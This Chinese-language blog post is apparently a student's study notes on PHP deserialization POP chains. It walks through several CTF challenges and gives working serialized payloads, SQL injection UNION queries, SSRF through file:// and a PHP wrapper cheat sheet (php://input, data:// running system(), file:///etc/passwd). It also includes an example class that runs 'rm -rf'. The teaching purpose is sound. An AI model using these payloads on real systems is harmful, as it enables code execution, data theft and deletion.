关于POP链 (Property Oriented Programming Chain):
pop链漏洞通常是在用在有反序列化的程序当中,由于运用了大量的魔术方程,所以可能会出现一些纰漏,导致存在原生函数或者是更加明显的执行函数的被利用。(RCE,数据泄漏等等)
关于原生函数:
常见的原生函数:
1
| `array_walk()`、`system()`、`eval()`、`unserialize()、exec()等
|
怎么利用原生函数?:
system,eval,exec这几个可以直接或者半直接执行函数的就不仔细说了,为什么array_walk也会被利用呢?
array_walk:
1 2 3 4 5 6 7 8
| array_walk(array &$array, callable $callback, mixed $userdata = null): bool 实际例子:array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } });
|
$array:要遍历的数组。(会把这个数组里面的值逐一赋值给回调函数 {也可以是匿名函数} )
$callback:回调函数,该函数至少接受两个参数,第一个参数是数组元素的值,第二个参数是数组元素的键。
$userdata:可选参数,传递给回调函数的额外数据。
(键:相当于 array [ 键 ],这里面的数字就是键)
特殊情况:$this——$this***对象的属性值会赋值给$day1,属性名会赋值给 $day2*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class MaliciousClass { public function __construct() { system('rm -rf /tmp/sensitive_folder'); } }
class MyClass { public $userInput;
public function process() { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); } }
$obj = new MyClass(); $obj->userInput = 'MaliciousClass'; $obj->process(); ?>
|
在这个代码里,$callback (回调函数) 变成结合了匿名函数来执行代码
- 攻击者将
MyClass 对象的 $userInput 属性值设置为 MaliciousClass。
- 当调用
$obj->process() 方法时,array_walk 会遍历 $this 对象的属性,将属性名 userInput 作为类名,属性值 MaliciousClass 传递给 new 关键字,从而实例化 MaliciousClass 对象。
- 实例化
MaliciousClass 对象时,其构造函数被自动调用,构造函数中的 system 函数执行危险的系统命令,最终导致服务器上的敏感目录被删除。
匿名函数:
在我认知里,相当于一个临时数组,里面可以至多存放两个变量,对变量的操作可以直接视为函数操作:
1 2 3 4 5
| $numbers = [1, 2, 3]; array_walk($numbers, function($value) { echo $value * 2 . ' '; });
|
函数体 echo $value * 2 . ' '; 的作用是将当前元素的值乘以 2,然后将结果输出,并在后面添加一个空格
这大概就是关于array__walk的大概解释了
总结: 就是给它数组或者属性,会遍历数组将值赋值给匿名函数,然后利用匿名函数来执行非法操作
在仔细理解后便去先做了点简单的题目:[SWPUCTF 2021 新生赛]pop
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); show_source("index.php");
class w44m{
private $admin = 'aaa'; protected $passwd = '123456';
public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } }
$w00m = $_GET['w00m']; unserialize($w00m);
?>
|
思路:{ destruct() }—–> { toString() }—–>w44m
于是构建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
class w44m{ private $admin = 'w44m'; protected $passwd = '08067';
public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return '0'; } }
$a = new w22m(); $a->w00m = new w33m(); $b = $a->w00m; $b->w00m = new w44m(); $b->w22m = 'Getflag';
echo serialize($a);
|
后面发现好像不需要构造这么长(恼
输出得到
1
| O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
|
记得把保护属性和私有属性加上:(**%00把空字符替换**)
1
| O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
|
即可做出
[HZNUCTF 2023 preliminary]ppppop
进入页面,一片空白?

我该怎么做?很迷茫,扫描了发现也什么都没有,只好去看了一下别人的blog,发现需要抓包:

发现cookie值是
1
| O:4:"User":1:{s:7:"isAdmin";b:0;}------base64解编码后
|
我们修改0为1
1
| O:4:"User":1:{s:7:"isAdmin";b:1;}
|
得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php error_reporting(0);关闭 PHP 的错误报告。 include('utils.php');包含名为 utils.php 的文件。
class A { public $className;用于存储一个类名 public $funcName;用于存储一个方法名 public $args;用于存储传递给方法的参数。
public function __destruct() { 这是 PHP 的析构函数,当对象被销毁时自动调用 $class = new $this->className; 根据存储的 className 创建一个新的对象 $class。 $funcName = $this->funcName;将存储的 funcName 赋值给变量 $funcName。 $class->$funcName($this->args); 调用新创建对象的指定方法,并传入存储的参数。 } }
class B { public function __call($func, $arg) { 这是 PHP 的魔术方法,当调用一个不可访问的方法时自动触发。 $func($arg[0]); }在这个方法中,它将第一个参数 $arg[0](即传入的参 数数组中的第一个元素)作为参数传递给存储在变量 $func 中的函数进行调用。 }
if(checkUser()) { highlight_file(__FILE__); $payload = strrev(base64_decode($_POST['payload'])); 从用户提交的 POST 请求中获取 payload 参数 ,对其进行 base64 解码,然后将结果反转。 unserialize($payload); }
|
错误点:我误把值直接赋值给了$func和 $arg导致错误了,应该直接赋值给
1 2 3
| public $className; public $funcName; public $args;
|
答案是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| class A { public $className = "B"; public $funcName = "system"; public $args = "env";--------------除了环境变量还有ls -a(列出所有的目录与名字) cat /proc/self/environ(也是读取环境变量) }
class B { public function __call($func, $arg) { $func($arg[0]); } }
$d = new A();
$f = serialize($d); $g = strrev($f); echo base64_encode($g);
fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==
|
[网鼎杯 2020 青龙组]AreUSerialz(其实这个本来应该放在第一个的,忘记写了)
ez_反序列化漏洞)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
新知识:
1.我们可以直接构造一个新的序列,不用一个一个写
1 2 3 4 5 6 7 8 9 10 11 12 13
| class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content; } $A=new FileHandler(); $B=serialize($A); $B = str_replace(chr(0), '\00', $B); $B = str_replace('s:', 'S:', $B); echo $B;
|
2.利用php伪协议来读取
1
| php://filter/read=convert.base64-encode/resource=flag.php
|
原因:在服务器中file_get_contents会读取文件并且执行,看到结尾有.php便会以php的方式执行代码,可是如果flag文件里面没有echo之类的输出函数,就无法输出
如下函数:
1 2 3
| <?php $flag = 'flag{23122b16-3361-4524-829a-55503b6e8000}'; ?>
|
所以用base64直接编码读取可以直接获取全部的文件内容。
[[NISACTF 2022]popchains

懒得写了,直接借用他人写过的(
于是便构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class Road_is_Long{ public $page; public $string; } class Try_Work_Hard{ protected $var='php://filter/convert.base64-encode/resource=/flag'; } class Make_a_Change{ public $effort; } $a=new Road_is_Long; $a->page=new Road_is_Long; $a->page->string=new Make_a_Change; $a->page->string->effort=new Try_Work_Hard; echo urlencode(serialize($a));
|
学到什么?
1.什么时候该用 ‘ ‘,什么时候该用 “ ”
老是用错可恶心坏我了(恼)
2.构建new 类的时候,不能在一个类的里面
1 2 3 4 5 6 7 8 9 10 11 12
| class Road_is_Long{ public $page; public $string = Road_is_Long; }
class Road_is_Long{ public $page; public $string; } $a=new Road_is_Long; $a->page=new Road_is_Long;
|
【Basectf】Really EZ POP
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| class Sink { private $cmd = 'echo 123;'; public function __toString() { eval($this->cmd); } }
class Shark { private $word = 'Hello, World!'; public function __invoke() { echo 'Shark says:' . $this->word; } }
class Sea { public $animal; public function __get($name) { $sea_ani = $this->animal; echo 'In a deep deep sea, there is a ' . $sea_ani(); } }
class Nature { public $sea;
public function __destruct() { echo $this->sea->see; } }
|
学到什么?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 使用反射机制来修改私有属性: <?php class Shark { private $word = 'Hello, World!'; }
$shark = new Shark();
$reflection = new ReflectionClass($shark);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$newValue = 'New value for word'; $property->setValue($shark, $newValue);
echo $property->getValue($shark); ?> 就是利用四个函数作为主力: ReflectionClass() getProperty() setAccessible() setValue()
|
最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class Sink { private $cmd = 'system("cat /flag");'; }
class Shark { private $word; }
class Sea { public $animal; }
class Nature { public $sea; }
$sink = new Sink();
$shark = new Shark();
$reflection = new ReflectionClass($shark); $property = $reflection->getProperty('word'); $property->setAccessible(true); $property->setValue($shark, $sink);
$sea = new Sea(); $sea->animal = $shark;
$nature = new Nature(); $nature->sea = $sea;
echo urlencode(serialize($nature));
|
[网鼎杯 2018]Fakebook
本以为是普通的异或注入,没想到竟然是 sql注入,SSRF,反序列化三位一体!!!
自己的方法:
最开始:
我们需要发现注入点,于是点入1,发现url发生变化:
测试注入,发现是异或注入:(其实有更简单的方法)
来用脚本爆破(自己的工具箱):
得出库:fakebook
表:users
列:no,username,passwd,data
查列的内容,发现,在data里居然出现了反序列化??
然后我就不会做了,就去查wp了。
别人的方法:
居然不需要异或???
利用绕过:(/**/)
1 2 3 4 5 6 7 8 9 10 11 12 13
| ?no=-1/**/union/**/select/**/1,database(),3,4--+ ?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+
?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+
|
后面四个是爆破列名
来看看列里面有什么?
1 2 3 4 5 6 7
| ?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+
?no=-1/**/union/**/select/**/1,(select/**/group_concat(username)/**/from/**/users),3,4--+
?no=-1/**/union/**/select/**/1,(select/**/group_concat(passwd)/**/from/**/users),3,4--+
?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+
|
发现在data居然出现了反序列化???
这时候就体现信息收集的重要性了
扫描发现存在robots.txt
这是原码的下载路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
class UserInfo { public $name = ""; public $age = 0; public $blog = "";
public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; }
function get($url) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch);
return $output; }
public function getBlogContents () { return $this->get($this->blog); }
public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
}
|
反序列化部分:
我们发现存在:
1
| $output = curl_exec($ch);
|
会执行url的代码,于是便存在ssrf
本以为是反序列化,没想到是ssrf吗??!!!
补充:
常见引发 SSRF 的 PHP 函数
curl_exec()
file_get_contents()
fsockopen()
stream_socket_client()
- 用途:创建网络流连接。
- 风险:与
fsockopen() 类似,参数可控时可访问任意地址。
file_put_contents()
- 用途:写入文件或 URL 内容。
- 风险:结合
php://filter 等协议可篡改文件内容。
parse_url()
- 用途:解析 URL。
- 风险:若未严格验证 URL 格式,可能被利用构造恶意协议(如
dict://)。
构造最终payload:
1 2
| 1:测试 ?no=-1unionselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}'--+
|
结果:ctrl+u 发现出现超链接:
(页面不显示,只能在这里看见,点进去发现确实是百度网站,说明,构建成功!)
1 2
| 2最终代码: ?no=-1unionselect1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blSog%22;s:29:%22file:
|
点进去即可获取flag!
常见的魔术方程:
1. __construct()
- 功能:构造函数,在创建对象时自动调用,用于初始化对象的属性。
- 人话:类被使用就会被调用
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12
| class Person { public $name; public $age;
public function __construct($name, $age) { $this->name = $name; $this->age = $age; } }
$person = new Person('John', 30); echo $person->name;
|
2. __destruct()
- 功能:析构函数,在对象被销毁时自动调用,通常用于释放对象占用的资源,如关闭文件、数据库连接等。
- 人话:整体脚本结束时候调用
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| class DatabaseConnection { private $conn;
public function __construct() { $this->conn = new mysqli('localhost', 'user', 'password', 'dbname'); }
public function __destruct() { if ($this->conn) { $this->conn->close(); } } }
$db = new DatabaseConnection();
|
3. __toString()
- 功能:当对象被当作字符串使用时自动调用,必须返回一个字符串。
- 人话:被强制为echo输出时候调用
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class Book { public $title;
public function __construct($title) { $this->title = $title; }
public function __toString() { return "Book title: " . $this->title; } }
$book = new Book('PHP Programming'); echo $book;
|
4. __call()
- 功能:当调用一个对象中不存在的方法时自动调用,接收两个参数:方法名和参数数组。
- 人话:使用同一个类中不可访问的方法时候调用(比如私有和不存在的)
- 示例:
1 2 3 4 5 6 7 8
| class MyClass { public function __call($method, $arguments) { echo "Call to undefined method: $method with arguments: " . implode(', ', $arguments); } }
$obj = new MyClass(); $obj->unknownMethod('arg1', 'arg2');
|
5. __callStatic()
1 2 3 4 5 6 7
| class MyStaticClass { public static function __callStatic($method, $arguments) { echo "Call to undefined static method: $method with arguments: " . implode(', ', $arguments); } }
MyStaticClass::unknownStaticMethod('arg1', 'arg2');
|
6. __get()
- 功能:当访问一个对象中不存在或不可访问的属性时自动调用,接收一个参数:属性名。
- 人话:调用不存在的属性时候调用
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class MyObject { private $data = [];
public function __get($property) { if (array_key_exists($property, $this->data)) { return $this->data[$property]; } return null; } }
$obj = new MyObject(); $value = $obj->nonExistentProperty;
|
7. __set()
- 功能:当给一个对象中不存在或不可访问的属性赋值时自动调用,接收两个参数:属性名和属性值。
- 示例:
1 2 3 4 5 6 7 8 9 10
| class MyObject { private $data = [];
public function __set($property, $value) { $this->data[$property] = $value; } }
$obj = new MyObject(); $obj->newProperty = 'new value';
|
8. __isset()
- 功能:当使用
isset() 函数检查一个对象中不存在或不可访问的属性时自动调用,接收一个参数:属性名。
- 示例:
1 2 3 4 5 6 7 8 9 10
| class MyObject { private $data = [];
public function __isset($property) { return isset($this->data[$property]); } }
$obj = new MyObject(); var_dump(isset($obj->nonExistentProperty));
|
9. __unset()
1 2 3 4 5 6 7 8 9 10 11 12
| class MyObject { private $data = [];
public function __unset($property) { if (array_key_exists($property, $this->data)) { unset($this->data[$property]); } } }
$obj = new MyObject(); unset($obj->nonExistentProperty);
|
10. __clone()
- 功能:当使用
clone 关键字克隆一个对象时自动调用,用于自定义对象的克隆行为。
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class MyClass { public $value;
public function __clone() { $this->value = $this->value * 2; } }
$obj1 = new MyClass(); $obj1->value = 10; $obj2 = clone $obj1; echo $obj2->value;
|
11.__wakeup()
在 PHP 里,当一个对象被反序列化(也就是从序列化后的字符串恢复为对象)时,__wakeup() 方法会自动被调用。
12.__sleep()
和wakeup相反,当被序列化时候会被调用
伪协议的研究:
输入代码类:
- 用途:读取 HTTP 请求的原始 POST 数据流,直接执行代码。
- 条件:
allow_url_include=On(默认关闭)。
- CTF 应用:绕过对
$_POST 的过滤,直接传递 PHP 代码。
- (可以直接传递post的值,那些针对post的过滤就无用了)
绕过原理:
**$_POST**:在 PHP 中,$_POST 是一个超全局变量,用于接收通过 HTTP POST 方法提交的数据。当客户端以 application/x-www-form-urlencoded 或 multipart/form-data 格式发送 POST 请求时,PHP 会自动解析请求中的数据,并将其填充到 $_POST 数组中。例如,当表单以 application/x-www-form-urlencoded 格式提交时,数据会被编码成键值对的形式,如 key1=value1&key2=value2,PHP 会将其解析为 $_POST['key1'] = 'value1'; $_POST['key2'] = 'value2';。
如果只对key这个键值进行过滤的话就会出现input漏洞
示例 :直接执行代码
1 2 3 4 5
| POST /vuln.php?file=php://input HTTP/1.1 Host: ctf.example.com Content-Type: text/plain
<?php system("cat /flag"); ?>
|
- 当漏洞代码为
include($_GET['file']); 时,php://input 会被解析为包含的代码并执行。
data://
- 用途:将数据直接嵌入 URI,支持
text/plain 或 base64 格式。
- 条件:
allow_url_include=On。
- CTF 应用:直接传递 PHP 代码执行。
- (类似input,会执行输入的代码,在URL直接输入即可)
- 可用于:传输数据
示例 1:执行系统命令
1
| http://ctf.example.com/?file=data://text/plain,<?php system("ls");?>
|
示例 2:Base64 编码绕过特殊字符过滤
1
| http://ctf.example.com/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b
|
- 解码后内容:
<?php system("ls");?>,避免 URL 中特殊字符被拦截。
读取文件类:
php://filter
- 用途:对文件内容进行过滤处理(如编码、解码、压缩等)。
- CTF 应用:读取 PHP 源码、绕过死亡 Exit、字符串处理。
- base64编码用的就是这个
- 多用于读取文件
- 文件包含漏洞多半会用到
示例 1:读取 Base64 编码的源码
1
| http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
|
- 返回
flag.php 的 Base64 编码内容,解码后获取原始代码。
- convert.base64-encode是表明加密方法
示例 2:绕过死亡 Exit(过滤 <? 标签)
1
| http://ctf.example.com/?file=php://filter/read=string.rot13/resource=flag.php
|
- 使用 ROT13 编码文件内容,使
<?php 变成 <?cuc,绕过标签检测。
过滤器链示例
1
| php://filter/read=convert.base64-encode|convert.base64-decode/resource=flag.php
|
file://
- 用途:访问本地文件系统(默认协议)。
- CTF 应用:读取敏感文件(如
/etc/passwd、源码等)。
示例 1:读取系统文件
1
| http://ctf.example.com/?file=file:///etc/passwd
|
示例 2:绕过路径限制
1
| http://ctf.example.com/?file=file:///var/www/html/flag.php
|
- 直接读取 Web 目录下的 PHP 文件(但可能被解析为空)。
总结对比表
| 协议 |
典型场景 |
关键条件 |
示例 Payload |
php://input |
执行 POST 原始代码 |
allow_url_include=On |
?file=php://input + POST 代码 |
php://filter |
读取 PHP 源码(Base64 编码) |
无特殊要求 |
?file=php://filter/convert.base64-encode/resource=flag.php |
data:// |
直接传递 PHP 代码 |
allow_url_include=On |
?file=data://text/plain,<?php system("ls");?> |
phar:// |
反序列化漏洞触发 |
Phar 文件可解析 |
?file=phar://exploit.phar |
expect:// |
执行系统命令(罕见) |
expect 扩展启用 |
?cmd=expect://id |
file:// |
读取本地文件 |
无特殊要求 |
?file=file:///etc/passwd |